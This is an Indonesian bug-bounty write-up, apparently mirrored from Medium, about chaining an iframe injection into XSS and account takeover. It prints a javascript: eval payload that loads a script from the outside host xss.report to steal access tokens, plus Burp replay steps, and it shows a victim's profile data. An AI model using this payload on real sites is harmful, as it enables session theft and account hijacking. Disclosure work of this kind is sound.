From iframe Injection to Account Takeover (Full Exploit Chain)

medium.com · 0xRedFox29 · 20 days ago · exploit
quality 9/10 · excellent
0 net
From iframe Injection to Account Takeover (Full Exploit Chain)🔥 | by 0xRedFox29 - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original From iframe Injection to Account Takeover (Full Exploit Chain)🔥 How can I escalate the impact of an iframe injection vulnerability to account takeover via XSS? 0xRedFox29 Follow ~4 min read · March 23, 2026 (Updated: March 23, 2026) · Free: Yes Assalamualaikum bug hunter, di write ini saya menemukan celah iframe injection yang bisa dieskalasi ke XSS hingga menyebabkan Account Takeover. Berikut gambar dibawah ini adalah penggunaan iframe pada suatu website untuk menampilkan suatu konten tanpa harus membuka website tersebut. Penggunaan iframe untuk menampilkan konten Dalam kasus temuan saya, website ini menggunakan iframe untuk menampilkan isi konten melalui parameter url (katakanlah /promo?type=voucher&target=https://evil.com) seperti dibawah ini yang bisa ubah menjadi halaman evil.com : Setelah saya cek menggunakan clickjacker.io hasilnya: sehingga website perlu membutuhkan perhatian seperti penggunaan CSP frame-ancestors: Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com Kemudian memvalidasi parameter URL, penggunaan sandbox iframe untuk membatasi kemampuan script dan HttpOnly + Secure cookie supaya tidak bisa diambil via XSS Dari temuan ini, saya coba eskalasi XSS dengan payload javascript:alert(document.cookie) dan boom!!! itu muncul pop up Selanjutnya saya eskalasi ke Account Takeover dengan proof of concept: Siapkan 2 akun untuk percobaan dengan login di browser yang berbeda [misalnya, akun A di microsoft edge dan akun B di chrome (milik burpsuite] Daftar atau login ke https://xss.report/ lalu pilih navbar payload Cari dan pilih payload yang sesuai pada step open redirect to xss yakni:javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss.report/c/username\'document.body.appendChild(a)') Mulai buka burpsuite, lalu pada navbar pilih target dan klik open browser Kunjungi website https://target.com/ login dengan akun yang sudah ada (akun A) saat didalam halaman dashboard, akses link berikut https://vuln.target.com/promo?type=vouchercoupon&=javascript:eval(%27var%20a%3Ddocument.createElement(%5C%27script%5C%27);a.src%3D%5C%27https:%2F%2Fxss.report%2Fc%2Fusername%5C%27;document.body.appendChild(a)%27) terlihat pada UI memang tidak menampilkan apapun alias blank putih namun terkirim ke xss.report dengan nama blank (menyesuaikan dengan respon yang di render dari xss.report/username periksa log aktivitas pada xss report, terdapat access token dan device ID (milik akun A) pada localStorage yang diperlukan untuk account takeover salin access token dan device id milik milik akun A dan simpan di notepad di burpsuite, pada bagian sitemap pilih api.target.com (di langkah ini akun B sudah login dengan browser google chrome yang disediakan oleh burpsuite) pilih dan buka folder V1 dan buka subfolder mobile dan pilih profile dan buka pada langkah ini terdapat method POST (mengirim data) ke server pada saat login dan sistem menerjemahkan menjadi access token dan device id (untuk akun B) seperti dibawah ini {"token":"fa6171e8-a30d-4099–9c1c-f19aa8058f79", "device_id":"cc4f64ec-48d0–4285–914d-8197d6e900dc"} dikolom Request, klik garis 3 lalu pilih dan klik send to repeater klik Repeater pada navbar, maka muncul data yang sama seperti pada langkah no 10 Ganti dan tempel access token dan device ID (dari akun B ke akun A) ini milik akun A {"token":"e48a90ee-be09–4a59–8595-a5eac505b449", "device_id":"7cf6ffa3–064c-432d-9d0c-a0c2da1ae145"} Klik tombol send copy lalu paste di new tab Bingoo, itu menampilkan detail data pada akun A di kolom Response Kita sudah berhasil mengambil alih akun korban (akun A) tanpa password. gambar untuk step 8 dan 9 isi data victim { "id_user": 3564463, "user_fullname": "John Doe", "user_firstname": "John", "user_lastname": "Doe", "user_skype": null, "user_active_call": "default", "user_interest": "2", "user_gender": Male, "user_birthdate": 1974-04-01, "user_country": 96, "user_phone_alt": 081212712030, "user_picture": "no_image_genderless.png", "user_timezone": "UP7", "user_lang": 3, "user_city": Bandung, West Java, "register_date": "2025-07-27 20:30:57", "active_date": null, "user_status": "pasive", "id_corporate": null, "disabled": "n", "register_tenant": "capable", "activate_course": 2, "password_upgraded": "Y", "interest_study": { "id_study": 2, "study_name": "English", "study_code": "EN" } } Celah ini saya laporkan dan mendapatkan bounty untuk beli cilok, hehe Sekian write up yang bisa saya bagikan, mohon maaf apabila ada kekurangan dan kekeliruan dalam penyampaian Terimakasih #XSSattack #AccountTakeover #bug-bounty #bug-bounty-tips #bug-bounty-writeup #xss-vulnerability #account-takeover-attacks Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).